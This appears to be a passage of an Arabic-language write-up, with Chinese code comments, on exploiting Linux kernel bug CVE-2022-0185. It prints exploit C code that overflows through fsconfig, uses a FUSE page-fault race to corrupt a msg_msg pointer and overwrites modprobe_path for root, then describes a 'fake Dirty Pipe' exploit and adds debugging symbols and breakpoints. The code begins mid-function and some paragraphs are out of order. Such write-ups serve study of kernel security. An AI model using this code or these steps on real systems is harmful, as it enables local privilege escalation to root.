//[1]在0x1337000 mmap 一页
void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
uint64_t race_page = 0x1338000;
msg *rooter = (msg *)(race_page-0x8); //后续关键消息开始设置在刚mmap 的页末尾
rooter->mtype = 1;
size = 0x1010;
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0);
//[2]设定消息长度为0xfe的消息,会分成两段
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("Opening");
exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
perror("evil fd failed");
exit(-1);
}
//[4]使用fuse 文件系统mmap 一页,在0x1338000,也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
perror("mmap fail fuse 1");
exit(-1);
}
pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
perror("can't setup threads for race");
}
//[5]发送消息,消息开头在第一个mmap 页的末尾,会触发page fault,等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程,线程执行溢出操作,在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);
}
void *arb_write(void *args) {//[6]负责溢出的线程 uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void )&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); //将msg_msg 中的msg_msgseg * next指针覆盖为modprobe_path - 8 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[] Done heap overflow"); write(fuse_pipes[1], "A", 1); }
int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {//[5]fuse文件系统的evil_read 直接将需要篡改的内容拼接到对应位置上。 // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; //char *modprobe_win = "/tmp/w"; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));
size_t len = 0x1000;
···
memcpy(buf, evil_buffer + offset, size);
// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回,完成任意地址写
return size;
}
1. في `0x1337000`، قم بعمل `mmap` لصفحة واحدة صفحة 1
2. اضبط طول الرسالة على `0x1010 - 0x30 = 0xfe0`، بحيث تحتاج الرسالة إلى التقسيم إلى جزئين
3. `fsconfig` يُعدِّل التعبئة قبل الفائض، ويطلب `kmalloc-4k`
4. باستخدام نظام الملفات fuse المسجل مسبقًا، قم بعمل `mmap` لصفحة واحدة عند `0x1338000` صفحة 2
5. أرسل الرسالة، طولها `0xfe0`، واطلب `kmalloc-4k` وواحد `kmalloc-32`. يبدأ موقع الرسالة في نهاية الصفحة 1. في هذا الوقت، عند نسخ `copy_from_user` داخل `msgsnd`** من مساحة المستخدم إلى مساحة النواة، عند الوصول إلى الصفحة 2، يتسبب في خطأ في الصفحة لاستدعاء دالة `evil_read` الخاصة بنظام الملفات fuse في مساحة المستخدم**، وهذه الدالة نحددها نحن لتقديم المحتوى الذي نريد كتابته إلى النواة. وتنتظر هذه الدالة حتى اكتمال العملية التالية قبل العودة.
6. عند هذه النقطة، ابدأ عملية جديدة، تقوم العملية الجديدة بعملية الفائض، حيث يتم الفائض إلى رأس الرسالة التالية `msg_msg` داخل المؤشر `msg_msgseg * next` الذي يشير إلى الجزء الثاني من الرسالة، ويتم استبدال المؤشر بالإشارة إلى `modprobe_path`. ثم أرسل إشارة اكتمال إلى دالة `evil_read`.
7. تعود `evil_read`، وتكتمل الكتابة في أي عنوان. يتم تغيير `modprobe_path` إلى `"/tmp/w"`

رسم بياني:

بما أنه تم تعديل `modprobe_path`، فإننا نعتبر أن رفع الامتياز قد نجح، ويتم بعد ذلك إكمال عملية رفع الامتياز في الـexp عن طريق إضافة صلاحية suid إلى `/bin/bash`. لكن هذا لم يعد مهمًا.

### [جديد] تحليل الـexp (نسخة ديرتي بايب المصطنعة متعددة الإصدارات)
من: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)
الفكرة الرئيسية جاءت بعد كشف CVE-2022-0847 (ديرتي بايب)، حيث تم اكتشاف أن هناك آلية بين الأنبوب وsplice:
1. يتكون أنبوب الدفع من 16 صفحة مخبأة، في كل مرة يتم كتابة بيانات إلى الأنبوب يتم التحقق من الصفحة الحالية؛ إذا لم يتم كتابة الصفحة بالكامل، يتم محاولة الاستمرار في الكتابة في نفس الصفحة. لكن ليس كل الصفحات تسمح بالكتابة المستمرة، كما في الحالة التالية.
2. يسمح splice بنقل الملفات إلى أنبوب الدفع، ويتم ذلك عن طريق استبدال الصفحة المخبأة للملف مباشرة بصفحة مخبأة للأنبوب، وهذه الصفحات المخبأة المستبدلة لا تسمح بالكتابة المستمرة في الأنبوب.
3. بعد الإصدار 5.8، يتم استخدام `pipe_buffer->flags` لتحديد ما إذا كانت الصفحة تسمح بالكتابة المستمرة. قبل الإصدار 5.8، كان يتم استخدام `pipe_buffer->ops` لمعرفة ما إذا كان `anon_pipe_buf_ops` للسماح بالكتابة المستمرة.
إذن سبب ثغرة ديرتي بايب هو عدم تهيئة `pipe_buffer->flags`، مما يؤدي إلى إمكانية الكتابة المستمرة في الصفحات المخبأة للملف المنقولة بواسطة splice. على الرغم من إصلاحها، لكن إذا تمكنا من تزييف `flags` بشكل مصطنع، فهل يمكننا إنشاء "ديرتي بايب مصطنع"؟ الإجابة هي نعم؛ فديرتي بايب ثغرة لا تعتمد على أي تسريب عنوان، و`pipe_buffer` هو هيكل ضحية شائع في استغلال ثغرات النواة، وتزوير `flags` أو `ops` سهل جدًا. فيما يلي شرح لفكرة الـexp متعدد الإصدارات باستخدام ديرتي بايب المصطنع:
أولاً، قم بحقن عدة أزواج من قوائم الرسائل، كل زوج يحتوي على `msg_msg` بحجم `0x1400`، بحيث ينقسم الـmsg إلى جزئين: جزء بحجم `0x1000` وجزء بحجم `0x400`. ثم استخدم الكتابة خارج الحدود لتعديل بت `m_ts` في جزء الرسالة الرئيسي إلى `0x1800`:

بهذه الطريقة، يمكن تحديد **msgid الذي يمكنه قراءة طول `0x1800` بنجاح** لمعرفة أي قائمة تم فيها تجاوز `msg_msg`، وأيضًا من خلال القراءة خارج الحدود لتأكيد أن ما يليه هو جزء آخر من رسالة (sec2). ثم قم بتحرير جميع قوائم الرسائل الأخرى باستثناء ذلك:

ثم قم بحقن عدة أزواج من قوائم الرسائل، كل زوج يحتوي على 16 (أو عدة) `msg_msg` بحجم `0x400`. بهذه الطريقة، في الحالة المثالية، ستحتل إحدى الرسائل في أحد الأزواج slab `0x400` المحرر الموضح بالخط المنقط في الشكل السابق، مشكّلة التخطيط التالي، حيث تطلب الرسالة الخامسة من قائمة X هذه slab:

ثم من خلال القراءة خارج الحدود لـmsg1، نحصل على قيمة `prev` لـmsg5، أي عنوان msg4. من خلال المحتوى الذي رتبناه في الـmsg، يمكننا تحديد رقم قائمة msq X ورقم الرسالة 5 في القائمة.
بعد ذلك، قم بتحرير msg6 وجميع الرسائل بعد msg6، ثم أضف رسالة جديدة في القائمة X، ستكون الرسالة الجديدة بعد msg5 أي msg6 الجديدة (newmsg6). داخل newmsg6 (في موقع لا ينتهي عنوانه بـ `0x00`)، رتب رأس msg مزيف (fake head) يشير إلى msg4، مشكّلاً التخطيط التالي:

ثم قم بقراءة خارج الحدود مرة أخرى، وسجل عنوان fake head في newmsg6، وهو قيمة `msg5->next` المقروءة خارج الحدود بالإضافة إلى الإزاحة التي رتبناها:

ثم كرر العملية مرة أخرى (اثنان اثنان ثلاثة ثلاثة أربعة مرة أخرى)، وأعد إجراء الكتابة خارج الحدود، هذه المرة قم بتغطية مؤشر next في رأس msg بالإشارة إلى fakeHead في newmsg6، وقد حصلنا على العنوان مسبقًا:

قم بتحرير msg4 مباشرة عبر msgX، ثم قم بحقن sk_buff لاحتلال هذا الـmsg4 المحرر، وقم بتزوير next وprev للإشارة إلى نفسها (العنوان معروف مسبقًا)، لاستخدامها في عملية free الثانية لتجاوز unlink الخاصة بالـmsg:

ثم استخدم قائمة newmsg1 لتحرير msg4 مرة أخرى، ثم قم باحتلاله مرة أخرى بـ pipe_buffer، بحيث تشغل sk_buff و pipe_buffer نفس المنطقة مشكّلة التخطيط التالي:

العمليات التالية تشير مباشرة إلى النصف الثاني من "[معادلة النصر](https://blog.csdn.net/Breeze_CAT/article/details/124887764)"، الـexp: https://github.com/veritas501/CVE-2022-0185-PipeVersion

## نصائح التصحيح
الرموز ذات الصلة:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv
ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path
نقطة توقف شرطية``` ignore 1 117 #跳过断点1 117次,用来断正好溢出的fsconfig
## المراجع
github:[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)
writeup:https://www.willsroot.io/2022/01/cve-2022-0185.html
veritas501: [تحليل واستغلال CVE-2022-0185 وأفكار وممارسات الأولية الجديدة لـ pipe](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)

متابعة msgsnd، طلب هيكل msg_msg (سيتم تقسيمه إلى جزئين)، نظرًا لأن طول الجزء الأول من msg هو kmalloc-4k، فمن المرجح أن يتم تخصيصه في المنطقة التي تلي legacy_data، وسيغطي على الجزء الذي حدث فيه الفائض للتو، لكن لا يهم.

متابعة استدعاء fsconfig لإجراء الفائض، وهذا هو سبب تقسيم الفائض إلى مرتين. الغرض من الفائض السابق الذي كان 22 حرفًا هو فقط لتحريك المؤشر إلى أمام حقل m_ts (الذي يمثل حجم msg) في رأس msg_msg. في هذه المرحلة، عند إجراء الفائض مرة أخرى، نظرًا لأنه سيتم إضافة حرفين ",=" في البداية، فسيكون من الممكن تغطية m_ts في رأس msg_msg لتعديل حجم msg.

رش مجموعة من هياكل seq_operations، نظرًا لأنها تنتمي إلى kmalloc-32، فمن المرجح أن تقع خلف الجزء الثاني من الرسالة.

في هذه المرحلة، استقبال الرسائل، إحدى الرسائل تم تغيير حجمها بواسطة الفائض، لذا عند القراءة سيحدث تجاوز للحدود، وسيتم قراءة هياكل seq_operations التي تليها، مما يكمل التسريب.